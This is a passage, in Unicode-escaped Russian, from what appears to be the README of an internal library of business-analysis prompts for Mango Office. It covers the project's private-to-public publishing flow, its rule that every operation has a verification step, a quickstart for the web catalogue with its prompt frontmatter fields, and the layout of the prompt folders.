\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u2014 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. |\\n| \u0413\u0434\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f? | \u0412 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 [`ai-ba-playbooks`](https://github.com/G-Ivan-A/ai-ba-playbooks): \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u0434\u043b\u044f \u0411\u0410. |\\n| \u041a\u0430\u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0442\u0443\u0434\u0430? | **\u041e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u043d\u0435\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439** \u043f\u043e\u0442\u043e\u043a `\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u2192 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439` \u0441 \u043e\u0442\u0431\u043e\u0440\u043e\u043c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c; \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2014 \u0432 [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md). |\\n| \u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0441 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c \u043f\u043e\u0441\u043b\u0435 Private? | GitHub Pages \u043d\u0430 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u0434\u043b\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u2014 \u044d\u0442\u043e \u0431\u043b\u043e\u043a\u0435\u0440 Q1. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f (\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043f\u043e\u0440\u0442\u0430\u043b, \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f, \u0432\u044b\u0432\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 `ai-ba-playbooks`) \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u0432\u0435\u0431-\u0440\u0435\u0441\u0443\u0440\u0441-app-\u043f\u043e\u0441\u043b\u0435-\u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438); \u0432\u044b\u0431\u043e\u0440 \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043d\u043e\u0440\u043c\u044b \u0438 \u043a\u0430\u0440\u0442\u0430 \u00ab\u0447\u0442\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e / \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u00bb \u2014 \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) (\u0440\u0430\u0437\u0434\u0435\u043b\u044b \u00ab\u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f\\n\u043c\u043e\u0434\u0435\u043b\u044c\u00bb \u0438 \u00ab\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438\u00bb).\\n\\n## \u2696\ufe0f \u041f\u0440\u0438\u043d\u0446\u0438\u043f \u00ab\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f > \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c\u00bb\\n\\n\u041d\u0430\u0434\u0451\u0436\u043d\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439 \u0432\u0430\u0436\u043d\u0435\u0435 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0438 \u0442\u043e\u043a\u0435\u043d\u043e\u0432\\n\u0438 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0414\u041e\u0414:\\n\\n> \u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014\\n> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n> **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.**\\n\\n\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0442\u0430\u0442\u0443\u0441: \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0438 human-in-the-loop gate \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0435\u0441\u0442\u044c,\\n**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u0441\u0442\u0430\u0442\u0443\u0441-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432-\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438-\u043d\u0430-\u0441\u0435\u0433\u043e\u0434\u043d\u044f) \u0438\\n[`pr-ops/BACKLOG.md`](pr-ops/BACKLOG.md).\\n\\n\u041d\u043e\u0440\u043c\u0430 \u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u043f\u0440\u0438\u043d\u0446\u0438\u043f-\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e-\u0441\u0438\u0441\u0442\u0435\u043c\u044b-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f--\u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c);\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0414\u041e\u0414 (\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 D1\u2013D10) \u2014 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0425\u0430\u0431\u0430 \u0447\u0435\u0440\u0435\u0437\\n[`docs/hub-research-dependencies.md#ba-process-ontology`](docs/hub-research-dependencies.md#ba-process-ontology).\\n\\n## \ud83e\udded \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\\n\\n- **\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0446\u0435\u043b\u044c** \u2014 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 Mango.\\n- **\u0422\u0430\u043a\u0442\u0438\u043a\u0430** \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 **\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432** ([`patterns/`](patterns/)) \u0438\\n  **\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432** ([`prompts/`](prompts/)), \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0435\u0439\\n  13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410\\n  ([`docs/taxonomy.md`](docs/taxonomy.md)); \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u2194\\n  \u043f\u0440\u043e\u043c\u043f\u0442 \u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e \u0432\\n  [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md), \u0430\\n  \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043c\u0430\u0442\u0440\u0438\u0446\u044b, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u2014 \u0432\\n  [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md).\\n- **\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435** \u2014 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0437\u0440\u0435\u043b\u044b\u0445 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u043d\u0430\u0440\u0443\u0436\u0443: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u2014\\n  \u0432 \u0425\u0430\u0431, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u2014 \u0432 `ai-ba-playbooks`.\\n  \u041e\u0431\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\\n  \u043e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0438 \u043d\u0435\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435; \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 RFC\\n  [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md).\\n\\n## \ud83c\udfaf \u0427\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\\n\\n| \u0412\u043e\u043f\u0440\u043e\u0441 | \u041e\u0442\u0432\u0435\u0442 |\\n| --- | --- |\\n| **\u0427\u0442\u043e \u044d\u0442\u043e?** | \u041d\u0430\u0431\u043e\u0440 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0438\u043f\u043e\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango Office: \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0422\u0417-\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, use-case'\u043e\u0432, user story. |\\n| **\u0427\u0435\u043c \u044d\u0442\u043e _\u043d\u0435_ \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f?** | \u042d\u0442\u043e **\u043d\u0435** \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 **\u043d\u0435** \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0432\u0438\u0442\u0440\u0438\u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0432 \u0425\u0430\u0431\u0435 (\u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435), \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u2014 \u0432 `ai-ba-playbooks`; \u0437\u0434\u0435\u0441\u044c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410 \u0432 \u041c\u0430\u043d\u0433\u043e. |\\n| **\u041a\u043e\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e?** | \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0443\u0436\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u043f\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0443\u00bb, \u0438 AI-\u0430\u0433\u0435\u043d\u0442\u0430\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n\\n## \ud83d\ude80 Quickstart: \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438\\n\\n0. **\u041e\u0442\u043a\u0440\u043e\u0439 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433.** GitHub Pages \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0436\u0438\u0432\u0451\u0442 \u0432 [`site/`](site/) \u0438\\n   \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437 Markdown source of truth \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n   `node scripts/generate-pages-data.mjs`. \u0414\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u043b\u0435\u0436\u0430\u0442 \u0432\\n   [`site/data/`](site/data/), \u0434\u0435\u043f\u043b\u043e\u0439 \u0432 `gh-pages` \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   [`.github/workflows/github-pages.yml`](.github/workflows/github-pages.yml).\\n   \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u2014 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 SPA \u0438\u0437 \u043f\u044f\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 (\u0432\u0435\u0440\u0445\u043d\u0435\u0435 \u043c\u0435\u043d\u044e): **\u041a\u0430\u0442\u0430\u043b\u043e\u0433**\\n   (\u0433\u043b\u0430\u0432\u043d\u0430\u044f), **\u0414\u0430\u0448\u0431\u043e\u0440\u0434**, **Roadmap**, **\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b** \u0438 **\u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b**. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435\\n   \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e\u0438\u0441\u043a \u0441 \u0430\u0432\u0442\u043e\u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c, \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430, \u0444\u0438\u043b\u044c\u0442\u0440\u044b (\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438,\\n   \u0440\u0435\u0436\u0438\u043c\u044b, \u0441\u0442\u0430\u0442\u0443\u0441), \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0432\u044b\u0431\u043e\u0440\u043a\u0438 \u0432 Markdown \u0438 \u0442\u0451\u043c\u043d\u0430\u044f \u0442\u0435\u043c\u0430; \u043a\u043d\u043e\u043f\u043a\u0430 \u00ab\u0421\u0441\u044b\u043b\u043a\u0430\u00bb \u043d\u0430\\n   \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u044f\u043c\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0438\u0434\u0430 `#prompt=`.\\n1. **\u041d\u0430\u0439\u0434\u0438 \u043f\u0440\u043e\u043c\u043f\u0442.** \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435, \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435 \u0430\u0441\u0441\u0435\u0442\u044b \u043b\u0435\u0436\u0430\u0442 \u0432 `prompts/`\\n   (\u0438\u043c\u0435\u043d\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `[biz-process]-[purpose].md`, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440\\n   `prompts/tz-stats-generator.md`).\\n2. **\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0439 frontmatter.** \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 YAML-\u0431\u043b\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n   \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u043a\u0430\u043a \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438 \u043e\u0442\u043a\u0443\u0434\u0430 \u043e\u043d \u0432\u0437\u044f\u043b\u0441\u044f:\\n\\n   | \u041f\u043e\u043b\u0435 | \u0417\u0430\u0447\u0435\u043c |\\n   | --- | --- |\\n   | `status` | \u0417\u0440\u0435\u043b\u043e\u0441\u0442\u044c: `draft` / `canonical` (\u0433\u043e\u0442\u043e\u0432) / `archived`. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `version` | \u0412\u0435\u0440\u0441\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `updated` | \u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `temperature` | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c\u0430\u044f \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (\u043e\u0431\u044b\u0447\u043d\u043e `0.1`). **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `source_hub` / `source_sha` / `based_on` | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u0438\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (provenance). *\u041e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435.* |\\n\\n   \u0422\u043e\u043b\u044c\u043a\u043e 4 \u043f\u043e\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b ([`standards/prompt-standard.md`](standards/prompt-standard.md)).\\n   \u041c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u2014 \u0432\\n   [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md),\\n   research-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0432\\n   [`docs/hub-research-dependencies.md`](docs/hub-research-dependencies.md):\\n   frontmatter \u0438\u043c\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f.\\n\\n3. **\u0417\u0430\u043f\u0443\u0441\u0442\u0438 \u043f\u0440\u043e\u043c\u043f\u0442** \u0432 \u0441\u0432\u043e\u0435\u0439 LLM \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u043e\u0439 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0430;\\n   \u0441\u043b\u0435\u0434\u0443\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u0443 **\u00ab\u0424\u041e\u0420\u041c\u0410\u0422 \u0412\u042b\u0412\u041e\u0414\u0410\u00bb** \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430.\\n4. **\u041d\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a?** \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0435\u0449\u0451 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2014\\n   \u0432 `prompts/drafts/`. \u0418\u0445 \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0431\u0435\u0437 human review\\n   (\u0441\u043c. capability boundaries \u0432 [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md)).\\n   \u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 `prompts/` (canonical) \u2014 \u0447\u0435\u0440\u0435\u0437 issue \u2192 PR \u2192 review.\\n\\n## \ud83d\uddc2\ufe0f \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 `prompts/`\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `prompts/` | \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0411\u0410. |\\n| `prompts/drafts/` | \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0438 \u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b (\u0431\u0435\u0437 human review). |\\n| `prompts/archive/` | \u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b, \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. |\\n\\n\u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\\nself-test evidence \u0436\u0438\u0432\u0451\u0442 \u0432 [`runs/`](runs/).\\n\\n## \ud83d\udcd0 \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `ai-governance/ai-governance.md` | \u041a\u043e\u043d\u0441\u0442\u0438\u0442\u0443\u0446\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0440\u043e\u043b\u0438, \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f, 